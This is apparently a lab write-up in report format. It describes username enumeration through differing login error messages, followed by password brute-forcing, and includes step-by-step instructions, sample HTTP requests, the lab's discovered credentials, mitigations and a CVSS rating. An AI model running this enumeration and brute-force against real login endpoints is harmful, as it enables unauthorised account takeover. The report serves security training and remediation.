

Title of Issue

Authentication Bypass — Username Enumeration via Distinct Error Messages

Description

The application's login endpoint returns subtly different error messages depending on whether an invalid username or a valid username with a wrong password is supplied. This difference in application behaviour allows an attacker to enumerate valid usernames by observing response content, and subsequently mount a targeted password brute-force attack against confirmed accounts.

Affected Endpoint: `POST /login` **Vulnerable Parameters:** `username` , `password`

Observable difference:

- Invalid username → `"Invalid username or password."`
- Valid username, wrong password → `"Incorrect password."`

This distinction, though small, is sufficient to identify valid accounts with certainty.

Steps to Exploit

Phase 1 — Username Enumeration

1. Navigate to the login page at `/login` .
2. For each candidate username from the provided wordlist, submit:
 - Username: `<candidate>`
 - Password: `wrongpassword`
3. Compare the response body for each attempt:
 - Response contains `"Invalid username or password."` → username does **not** exist.
 - Response contains `"Incorrect password."` → username **exists**.
4. Identify the valid username (e.g., `carlos`).

Phase 2 — Password Brute-Force

5. For each candidate password from the provided wordlist, submit:
 - Username: `carlos`
 - Password: `<candidate>`
 6. Monitor for a successful login (HTTP 302 redirect, no error message).
 7. Log in with the discovered credentials.
-

Proof of Concept

Username enumeration request:

```
POST /login HTTP/1.1
Host: <lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

username=carlos&password=wrongpassword
```

Response (valid username):

Incorrect password.

Response (invalid username):

Invalid username or password.

Password brute-force request (successful):

```
POST /login HTTP/1.1
Host: <lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

username=carlos&password=montoya
```

Response: HTTP 302 redirect to /my-account — login successful.

Credentials discovered: carlos:montoya

Impact

- An attacker can systematically enumerate all valid usernames in the application.
- Enumerated usernames enable targeted credential brute-forcing, significantly reducing the password search space.
- Successful credential compromise grants unauthorised access to any user account.
- Can be automated at scale with tools like Burp Intruder, Hydra, or custom scripts.

Mitigation / Remediation

1. **Return identical error messages** for all failed login attempts regardless of whether the username exists: "Invalid username or password." .
2. **Implement account lockout** or exponential backoff after a configurable number of failed attempts (e.g., 5 attempts → 15-minute lockout).
3. **Apply rate limiting** on the login endpoint to slow brute-force attempts.
4. **Use CAPTCHA** after repeated failures to block automated tooling.
5. **Implement multi-factor authentication (MFA)** so that credential compromise alone is insufficient for account takeover.

CVSS Score

CVSS v3.1 Score: 5.3 (Medium) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Remotely exploitable via HTTP requests

Attack Complexity	Low	No special conditions; simple response comparison
Privileges Required	None	Login page is publicly accessible
User Interaction	None	No victim action required
Scope	Unchanged	Impact limited to the authentication system
Confidentiality Impact	Low	Valid usernames revealed; enables further attacks
Integrity Impact	None	Enumeration alone does not modify data
Availability Impact	None	No service disruption